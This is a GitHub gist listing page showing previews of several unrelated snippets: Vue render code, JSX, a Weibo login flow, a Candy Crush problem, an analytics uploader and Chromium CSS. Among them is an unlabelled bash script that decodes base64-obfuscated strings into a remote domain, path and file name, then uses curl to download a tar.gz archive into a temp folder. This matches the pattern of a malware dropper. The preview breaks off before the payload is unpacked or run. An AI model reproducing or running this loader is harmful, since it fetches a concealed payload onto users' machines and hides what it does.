Skip to content

Instantly share code, notes, and snippets.

@icai
icai / pinuhs4pn6s9a25ss2zi3oyn
Created December 22, 2017 14:55
pinuhs4pn6s9a25ss2zi3oyn
pinuhs4pn6s9a25ss2zi3oyn
@icai
icai / vue render vm code
Created January 11, 2018 12:19
vue render vm code
(function() {
with (this) {
return _c('div', {
staticClass: "ui-abox",
attrs: {
"fitBottom": "true"
}
}, [_c('div', {
staticClass: "fixed-btns"
}, [_c('BackTop', {
@icai
icai / vue.render.vm.js
Created January 11, 2018 12:37
vue render vm
model: {
value: (me.skus.dataSource[index].minUnitPrice),
callback: function($$v) {
me.$set(me.skus.dataSource[index], "minUnitPrice", $$v);
if(me.unitsMultiple
&& me.cartonUnits.dataSource[1].quantity){
var prices = ($$v * me.cartonUnits.dataSource[1].quantity);
me.$set(me.skus.dataSource[index], "wholesalePrice", prices);
}
@icai
icai / vue.jsx
Created March 24, 2018 13:33
vue.jsx use template better
render(){
let me = this;
return (
<MConfirm>
<div slot="content">
{!this.cancel ? (
<div class="mb-10">
<p>申请单号:{row.orderNo}</p>
<p>供货商名称:{row.providerName}</p>
<p>商品数量:整箱数:{row.carUnit},单件数:{row.carUnit}</p>
function e() {
var e = document.documentElement.offsetWidth || document.body.offsetWidth;
document.getElementsByTagName("html")[0].style.fontSize = e / 3.6 + "px"
}
@icai
icai / Login Flow
Last active April 3, 2023 03:17
weibo login flow
https://weibo.com/doamin
https://login.sina.com.cn/sso/login.php?url=https%3A%2F%2Fweibo.com%2F328765211&_rand=1533906258.5319&gateway=1&service=miniblog&entry=miniblog&useticket=1&returntype=META&_client_version=0.6.28
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.6.1
Date: Fri, 10 Aug 2018 13:04:21 GMT
@icai
icai / 858. Candy Crush
Last active September 4, 2018 15:57
a 2D integer array
858. Candy Crush
This question is about implementing a basic elimination algorithm for Candy Crush.
Given a 2D integer array board representing the grid of candy, different positive integers board[i][j] represent different types of candies. A value of board[i][j] = 0 represents that the cell at position (i, j) is empty. The given board represents the state of the game following the player's move. Now, you need to restore the board to a stable state by crushing candies according to the following rules:
If three or more candies of the same type are adjacent vertically or horizontally, "crush" them all at the same time - these positions become empty.
After crushing all candies simultaneously, if an empty space on the board has candies on top of itself, then these candies will drop until they hit a candy or bottom at the same time. (No new candies will drop outside the top boundary.)
After the above steps, there may exist more candies that can be crushed. If so, you need to repeat the above steps.
If there does
#!/bin/bash
dlDomain="$(echo "bGtlb3IucGVuZ3VpbmNoYXJtLndpbgo=" | openssl base64 -d -A)"
dlPath="$(echo "c2RsCg==" | openssl base64 -d -A)"
dir="${TMPDIR}/$(echo "bW1zdG1wCg==" | openssl base64 -d -A)"
dlUrl="http://${dlDomain}/${dlPath}/$(echo "WWxjeFZHUklWbWxNYmxKb1kyazFibVZuYnowSwo=" | openssl base64 -d -A | openssl base64 -d -A | openssl base64 -d -A)?ts=$(date +%s)"
binPath="${dir}/$(echo "WWxjd2RHRlhOWHBrUjBaellrTXhkRmxYVG5aamVUVm9ZMGhCZGxFeU9YVmtSMVoxWkVoTmRsUlhSbXBVTVUxMllsY3dkR0ZYTlhwa1IwWnpZa014ZEZsWFRuWmpkMjg5Q2c9PQo=" | openssl base64 -d -A | openssl base64 -d -A | openssl base64 -d -A)"
rm -rf "${dir}"
mkdir -p "${dir}"
curl -s -L -o "${dir}/stmp.tar.gz" "${dlUrl}"
"use strict";
class Uploader {
constructor(t, e) {
(this.host = "https://wxapi.growingio.com"),
(this.messageQueue = []),
(this.uploadingQueue = []),
(this.uploadTimer = null),
(this.projectId = t),
(this.appId = e),
(this.url = `${this.host}/projects/${this.projectId}/apps/${
@icai
icai / edit.css
Created January 9, 2019 11:10
添加快捷方式
/* Copyright 2018 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
body {
overflow: hidden;
}
.mouse-navigation {
outline: none;